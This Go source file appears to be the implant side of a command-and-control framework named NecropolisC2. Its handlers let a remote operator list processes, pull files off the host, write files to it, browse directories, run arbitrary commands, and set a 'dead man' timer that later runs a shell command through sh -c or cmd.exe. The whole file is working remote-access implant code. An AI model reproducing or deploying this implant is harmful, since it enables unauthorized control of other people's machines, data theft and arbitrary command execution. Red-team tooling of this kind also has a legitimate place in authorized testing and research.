package core

import (
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"time"

	"google.golang.org/protobuf/proto"

	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
	cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
	"github.com/Yenn503/NecropolisC2/pkg/transport"
)

func (a *Agent) sendError(msgType uint32, errMsg string) {
	errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
	errData, _ := proto.Marshal(errResp)
	a.sendResult(msgType, errData)
}

func (a *Agent) sendResult(resultType uint32, data []byte) {
	env := a.messenger.CreateEnvelope(resultType, data)

	a.connectedMu.Lock()
	connected := a.connected
	opID := a.messenger.OperatorID()
	a.connectedMu.Unlock()

	if connected {
		if err := a.sendEnvelopeDirect(opID, env); err != nil {
			log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
		} else {
			return
		}
	}

	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] send result: %v", err)
	}
}

func (a *Agent) handlePs(env *apb.Envelope) {
	result := &apb.Z13{}
	result.Processes = listProcesses()
	data, _ := proto.Marshal(result)
	log.Printf("[implant] ps result: %d processes", len(result.Processes))
	a.sendResult(transport.MsgTypePs, data)
}

func (a *Agent) handleDownload(env *apb.Envelope) {
	req := &apb.Z22{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z23{Path: req.Path}
	fi, err := os.Stat(req.Path)
	if err != nil {
		result.Exists = false
		respData, _ := proto.Marshal(result)
		a.sendResult(transport.MsgTypeDownload, respData)
		return
	}
	const maxDownloadSize = 100 << 20 // 100MB
	if fi.Size() > maxDownloadSize {
		result.Exists = true
		result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
		respData, _ := proto.Marshal(result)
		log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
		a.sendResult(transport.MsgTypeDownload, respData)
		return
	}
	data, err := os.ReadFile(req.Path)
	if err != nil {
		result.Exists = false
	} else {
		result.Exists = true
		result.Data = data
	}

	respData, _ := proto.Marshal(result)
	log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
	a.sendResult(transport.MsgTypeDownload, respData)
}

// whole file in one proto message works for the 100MB cap. For larger files,
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
func (a *Agent) handleUpload(env *apb.Envelope) {
	req := &apb.Z24{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	const maxUploadSize = 100 << 20
	if len(req.Data) > maxUploadSize {
		log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
		result := &apb.Z25{
			Path:     req.Path,
			Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
		}
		respData, _ := proto.Marshal(result)
		a.sendResult(transport.MsgTypeUpload, respData)
		return
	}

	result := &apb.Z25{Path: req.Path}
	perm := os.FileMode(0644)
	if req.Overwrite {
		if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
		} else {
			result.BytesWritten = int32(len(req.Data))
		}
	} else {
		if _, err := os.Stat(req.Path); err == nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
		} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
			result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
		} else {
			result.BytesWritten = int32(len(req.Data))
		}
	}

	respData, _ := proto.Marshal(result)
	log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
	a.sendResult(transport.MsgTypeUpload, respData)
}

func (a *Agent) handleScreenshot(env *apb.Envelope) {
	log.Printf("[implant] screenshot requested (not implemented on this platform)")
	result := &apb.Z3{
		Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
	}
	data, _ := proto.Marshal(result)
	a.sendResult(transport.MsgTypeScreenshot, data)
}

func (a *Agent) handleCd(env *apb.Envelope) {
	req := &apb.Z19{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z21{}
	if err := os.Chdir(req.Path); err != nil {
		result.Path = req.Path
		result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
	} else {
		result.Path, _ = os.Getwd()
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
	a.sendResult(transport.MsgTypeCd, data)
}

func (a *Agent) handlePwd(env *apb.Envelope) {
	result := &apb.Z21{}
	result.Path, _ = os.Getwd()

	data, _ := proto.Marshal(result)
	log.Printf("[implant] pwd: %s", result.Path)
	a.sendResult(transport.MsgTypePwd, data)
}

func (a *Agent) handleKill(env *apb.Envelope) {
	log.Printf("[implant] kill received, shutting down")
	buf := make([]byte, 4096)
	n := runtime.Stack(buf, false)
	log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
	a.sendResult(transport.MsgTypeKill, nil)
	time.Sleep(100 * time.Millisecond)
	os.Exit(0)
}

func (a *Agent) handleDeadMan(env *apb.Envelope) {
	var msg struct {
		Command string `json:"command"`
		Timeout int    `json:"timeout_seconds"`
	}
	if err := json.Unmarshal(env.Data, &msg); err != nil {
		return
	}

	a.deadManCmd = msg.Command
	a.deadManTimeout = time.Duration(msg.Timeout) * time.Second

	if a.deadManTimer != nil {
		a.deadManTimer.Stop()
	}
	if a.deadManCmd == "" || a.deadManTimeout <= 0 {
		a.deadManTimer = nil
		return
	}

	a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
		var cmd *exec.Cmd
		if runtime.GOOS == "windows" {
			cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
		} else {
			cmd = exec.Command("sh", "-c", a.deadManCmd)
		}
		cmd.Run()
	})
}

func (a *Agent) handleLs(env *apb.Envelope) {
	req := &apb.Z16{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z17{Path: req.Path}
	fi, err := os.Stat(req.Path)
	if err != nil {
		result.Exists = false
	} else {
		result.Exists = true
		if fi.IsDir() {
			entries, err := os.ReadDir(req.Path)
			if err != nil {
				result.Exists = false
			} else {
				for _, e := range entries {
					info, _ := e.Info()
					entry := &apb.Z18{
						Name:  e.Name(),
						IsDir: e.IsDir(),
					}
					if e.Type()&os.ModeSymlink != 0 {
						link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
						entry.Link = link
					}
					if info != nil {
						entry.Size = info.Size()
						entry.ModTime = info.ModTime().Unix()
						entry.Mode = info.Mode().String()
					}
					result.Files = append(result.Files, entry)
				}
			}
		} else {
			entry := &apb.Z18{
				Name:    fi.Name(),
				IsDir:   false,
				Size:    fi.Size(),
				ModTime: fi.ModTime().Unix(),
				Mode:    fi.Mode().String(),
			}
			if fi.Mode()&os.ModeSymlink != 0 {
				link, _ := os.Readlink(req.Path)
				entry.Link = link
			}
			result.Files = append(result.Files, entry)
		}
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
	a.sendResult(transport.MsgTypeLs, data)
}

func (a *Agent) handleExecute(env *apb.Envelope) {
	req := &apb.Z14{}
	if err := proto.Unmarshal(env.Data, req); err != nil {
		a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
		return
	}

	result := &apb.Z15{}
	if req.Output {
		cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
		out, err := cmd.CombinedOutput()
		if err != nil {
			var exitErr *exec.ExitError
			if errors.As(err, &exitErr) {
				result.Status = uint32(exitErr.ExitCode())
			} else {
				result.Status = 1
			}
			result.Stderr = []byte(err.Error())
		}
		result.Stdout = out
	} else {
		cmd := exec.Command(req.Path, req.Args...)
		cmd.Stdout = io.Discard
		cmd.Stderr = io.Discard
		if err := cmd.Start(); err != nil {
			var exitErr *exec.ExitError
			if errors.As(err, &exitErr) {
				result.Status = uint32(exitErr.ExitCode())
			} else {
				result.Status = 1
			}
			result.Stderr = []byte(err.Error())
		} else {
			result.Pid = uint32(cmd.Process.Pid)
			go cmd.Wait()
		}
	}

	data, _ := proto.Marshal(result)
	log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
	a.sendResult(transport.MsgTypeExecute, data)
}
